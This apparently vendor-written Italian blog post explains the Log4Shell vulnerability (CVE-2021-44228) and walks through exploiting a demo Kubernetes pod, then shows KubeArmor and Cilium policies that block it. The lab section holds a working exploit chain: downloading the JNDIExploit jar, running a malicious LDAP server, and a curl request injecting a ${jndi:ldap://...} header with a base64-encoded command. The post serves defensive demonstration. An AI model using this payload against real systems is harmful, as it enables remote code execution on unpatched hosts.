
Vulnerabilità Zero Day di Apache Log4j, nota anche come Log4Shell e CVE-2021-44228
Il 9 dicembre 2021, il mondo è stato messo al corrente di una nuova vulnerabilità identificata come CVE-2021-44228, che colpisce il pacchetto di logging Java Apache log4j. Questa vulnerabilità ha ottenuto un punteggio di gravità di 10.0 (la designazione più critica) e consente una banale esecuzione remota di codice sugli host che interagiscono con software che utilizza questa versione di log4j. "Log4Shell" è il nome dato a questo attacco.
Oggi, la versione log4j 2.15.0rc2 è disponibile e corregge questa vulnerabilità. Tuttavia, il pericolo enorme di questa vulnerabilità è dovuto a quanto sia diffuso il pacchetto di logging. Milioni di applicazioni e fornitori di software utilizzano questo pacchetto come dipendenza nel proprio codice.
Rilevamento noto più precoce: 2021-12-01 04:36:50 UTC

Versioni interessate:
Chi è interessato?
Impatto: esecuzione arbitraria di codice come utente con cui viene eseguito il processo padre (codice recuperato dalla rete pubblica, o lolbin già presenti sul sistema, o semplicemente recupero di segreti condivisi o variabili d'ambiente e loro invio all'attaccante).
Obiettivi: server e client che eseguono Java e registrano qualsiasi cosa usando il framework log4j - principalmente un problema lato server, ma qualsiasi endpoint vulnerabile potrebbe essere un obiettivo o un punto di pivot.
Progetti a valle: fino a prova contraria, si presume che qualsiasi cosa includa log4j - inclusi Elasticsearch, Apache Struts / Solr / Druid / Flink, ecc. - sia interessata in modo tale da richiedere mitigazione.
Versioni interessate: log4j 2.x confermato - log4j 1.x solo indirettamente (precedenti vulnerabilità di divulgazione di informazioni) (in alcune configurazioni)
Appliance: non dimenticate gli appliance che potrebbero utilizzare componenti server Java, ma che non verrebbero rilevati dalla scansione delle vulnerabilità non autenticata
Inoltro dei log: l'infrastruttura di logging ha spesso molte topologie di inoltro/relay "northbound" (invia i miei log a qualcuno) e "southbound" (riceve log da qualcuno). È necessario considerare anche il loro concatenamento a scopo di sfruttamento.
Cloud: anche diversi grandi provider sono interessati (un elenco curato dalla comunità di software e servizi vulnerabili a CVE-2021-44228 è disponibile in questo repository GitHub.

Passo #1: Distribuire il pod con i servizi associati vulnerabili a Log4j in Kubernetes
git clone https://github.com/kubearmor/log4j-cve && cd log4j-cve
kubectl apply -f deploy-log4j-k8s.yaml
kubectl get po,svc
NAME READY STATUS RESTARTS AGE
pod/log4j-demo-5d7c84d8b9-vs8ck 1/1 Running 0 1h30m
NAME TYPE CLUSTER-IP EXTERNAL-IP PORT(S) AGE
service/kubernetes ClusterIP 10.112.0.1 <none> 443/TCP 4h44m
service/log4j-svc LoadBalancer 10.112.8.158 35.241.165.36 80:30202/TCP 1h30m
Si noti che abbiamo distribuito l'applicazione di esempio Log4Shell vulnerabile nello namespace
default
Passo #2: Scaricare il server LDAP malevolo
wget https://log4j-knox.s3.amazonaws.com/JNDIExploit-1.2-SNAPSHOT.jar
Passo #3: Avviare il server LDAP per il traffico in entrata sul proprio PC o VM cloud
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i [<your-private-ip>] -p 8888
L'IP privato può essere recuperato con
hostname -I.
Assicurarsi che il firewall consenta il traffico per le porte1389e8888
Passo #4: Sfruttamento tramite comando cURL
# curl <protocol://victim-ip:port> -H 'X-Api-Version: ${jndi:ldap://<malicious-server-ip>:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'
curl http://35.241.165.36 -H 'X-Api-Version: ${jndi:ldap://34.135.86.213:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'
Qui, il 1° IP utilizzato è il nostro IP esterno k8s (Passo #1) dove è in esecuzione l'app di esempio vulnerabile.
Il 2° IP utilizzato è l'IP esterno del server LDAP malevolo (Passo #2)
Passo #5: Conferma verificando la creazione del file /tmp/pwned
kubectl exec -it --namespace default log4j-demo-5d7c84d8b9-vs8ck -- watch -n 2 ls /tmp
Sostituisci
log4j-demo-5d7c84d8b9-vs8ckcon il tuo pod dall'output del Passo #1.
Dovresti essere in grado di vedere un file creato comepwnedall'interno della directory/tmp.
KubeArmor è una piattaforma di sicurezza runtime che può aiutare i team Security/DevSecOps a proteggere i propri carichi di lavoro utilizzando controlli basati su applicazioni/sistemi (come limitare la creazione di processi, limitare l'accesso al file system, limitare le capability dei pod, ecc.). KubeArmor dispone di una modalità di visibilità tramite la quale il team applicativo/di sicurezza può abilitare la visibilità riuscendo così a capire cosa succede all'interno dei pod, ovvero quali processi vengono creati, quali accessi ai file vengono tentati, ecc. Il più grande vantaggio di KubeArmor è che, come utente, puoi anche inviare policy in grado di prevenire/bloccare/negare tali operazioni di sistema.
In genere un attaccante si infiltra con l'intento di esfiltrare i dati interni, di fare cryptomining o semplicemente di devastare le app interne con l'intento di renderle non disponibili. In tutti questi casi, l'attaccante deve eseguire un programma arbitrario che possa realizzare le sue intenzioni malevole. La vulnerabilità Log4j consente all'attaccante di collocare un binario all'interno della rete interna. Tuttavia, è possibile inserire delle barriere in modo da non consentire alla JVM di generare processi.
La seguente è una KubeArmor in grado di negare/prevenire che qualsiasi processo venga forkato nel pod come processo figlio dell'applicazione Java.
apiVersion: security.kubearmor.com/v1
kind: KubeArmorPolicy
metadata:
name: do-not-allow-exec-from-java
spec:
severity: high
message: "disallow execing from java process"
selector:
matchLabels:
app: log4j2
process:
matchPaths:
- path: * #disaallow all paths from the java process
fromSource:
- path: /opt/openjdk-16/bin/java
action:
Block
Nota che l'azione qui è Block. Nota anche la condizione fromSource che
dice che solo le esecuzioni dal processo dato devono essere non consentite.
In sostanza, solo i processi figli di Java/JVM devono essere negati in un'exec.
A differenza di altri strumenti, KubeArmor ha la capacità di Blockare l'operazione
di sistema in fase di runtime.
In molti casi, potrebbero esserci determinati processi esistenti che devono ancora
essere generati da Java/JVM. In tali casi, è meglio Alloware tali
processi. Consentendo questi processi, KubeArmor nega per impostazione predefinita
l'esecuzione di tutti gli altri processi come parte di quel processo padre:
apiVersion: security.kubearmor.com/v1
kind: KubeArmorPolicy
metadata:
name: do-not-allow-exec-from-java
spec:
severity: high
message: "disallow execing from java process"
selector:
matchLabels:
app: log4j2
process:
matchPaths:
- path: /usr/local/bin/myapp
fromSource:
- path: /opt/openjdk-16/bin/java
- path: /usr/local/bin/log4j
fromSource:
- path: /opt/openjdk-16/bin/java
action:
Allow
In questo esempio, i processi myapp e log4j possono ancora essere
generati dal processo Java, ma tutti gli altri processi vengono negati.
Osservando le policy sopra, naturalmente ci si chiederà come fare a ottenere la specifica dei processi da consentire/negare. È qui che entra in gioco la modalità di visibilità di KubeArmor:
== Log / 2021-12-12 19:48:37.737160 ==
Cluster Name: Default
Host Name: pandora
Namespace Name: default
Pod Name: log4j-kubearmor
Container ID: 7ccca0b0a09ba86c96d581f695a534d0ec1d7a844f30efc16e0e72568a84cc39
Container Name: log4j-kubearmor
Type: ContainerLog
Source: jspawnhelper
Operation: Process
Resource: /bin/touch /tmp/log4jServerp0wn3d
Data: syscall=SYS_EXECVE
Result: Passed
Il blocco di qualsiasi processo generato dal processo JVM/Java produce il seguente avviso mentre l'execve viene negato (nota che KubeArmor è un motore di enforcement):
== Alert / 2021-12-12 19:57:07.871126 ==
Cluster Name: Default
Host Name: pandora
Namespace Name: default
Pod Name: log4j-kubearmor
Container ID: 7ccca0b0a09ba86c96d581f695a534d0ec1d7a844f30efc16e0e72568a84cc39
Container Name: log4j-kubearmor
Policy Name: do-not-allow-exec-from-java
Severity: 5
Message: disallowed execing from java process
Type: MatchedPolicy
Source: jspawnhelper
Operation: Process
Resource: /bin/touch /tmp/log4jServerp0wn3d
Data: syscall=SYS_EXECVE
Action: Block
Result: Passed
Il team di Cilium ha già pubblicato la propria analisi per prevenire gli exploit di log4j in ambiente k8s utilizzando le network policy. In sostanza, le policy di prevenzione mirano a garantire che vengano applicate le policy meno permissive per il DNS, così che qualsiasi cosa al di fuori di quel dominio sia vietata.
Una sfida per un team di sicurezza in questo contesto potrebbe essere capire tutti i possibili FQDN a cui si collegano i pod. Cilium fornisce una ricca visibilità di rete tramite la quale si può potenzialmente arrivare a un set esaustivo di FQDN accessibili dai pod.
Oltre a queste policy, ci sono alcune altre policy preventive che potrebbero essere adottate.
RMI è una funzionalità poco utilizzata dalla maggior parte delle organizzazioni. Nel caso di log4j, RMI è abilitato per impostazione predefinita e molte organizzazioni potrebbero non interessarsi se viene disabilitato del tutto. Quindi, se la tua organizzazione non usa attivamente quella funzionalità, la cosa migliore è disabilitarla completamente. La seguente policy Cilium potrebbe essere utilizzata:
apiVersion: "cilium.io/v2"
kind: CiliumNetworkPolicy
metadata:
name: "L4_rule_to_block_RMI_access"
spec:
endpointSelector:
matchLabels:
app: log4j2
ingress:
- fromEndpoints:
toPorts:
- ports:
- port: "1099"
protocol: TCP
... dove 1099 è la porta RMI predefinita.
Il tipo di regole descritte sopra è facile da immaginare col senno di poi.
La domanda ovvia successiva è come prevenire la possibilità di abuso di tali vulnerabilità in futuro.
L'esecuzione arbitraria di codice è una modalità d'attacco importante e bisogna concentrarsi sul definire cosa rende il codice "arbitrario". Arbitrario in questo contesto può essere definito come qualsiasi cosa che non rientra nel normale contesto di esecuzione.
L'uso di un'architettura Zero-Trust (ZTNA) richiede di specificare un set di policy il meno permissivo possibile che consenta solo le azioni in whitelist e neghi tutto il resto. Pertanto, avere una postura Zero-Trust potrebbe efficacemente proteggere un'organizzazione dalla possibilità di tali attacchi.
Tuttavia, raggiungere la Zero-Trust nella pratica è molto più impegnativo. La Zero-Trust richiede che un'organizzazione abbia un'adeguata automazione, processi di distribuzione del software uniti agli strumenti giusti. Alcuni punti su cui riflettere potrebbero essere:
Una postura Zero-Trust su rete e applicazioni/sistemi potrebbe essere definita come segue:
KubeArmor fornisce motori flessibili di enforcement delle policy insieme ai giusti strumenti di scoperta/raccomandazione delle policy che aiutano precisamente un'organizzazione a rispondere alle domande di cui sopra. Accuknox ha costruito i motori di policy tenendo a mente principi di design di base, ovvero ogni motore di policy deve supportare osservabilità, auditing (dry-run) e opzioni di enforcement.
L'osservabilità combinata con un motore di scoperta delle policy può fornire a un'organizzazione le impostazioni di policy meno permissive richieste.

Se vuoi provare il motore di scoperta delle policy sul tuo cluster k8s con i tuoi carichi di lavoro, segui il playbook qui.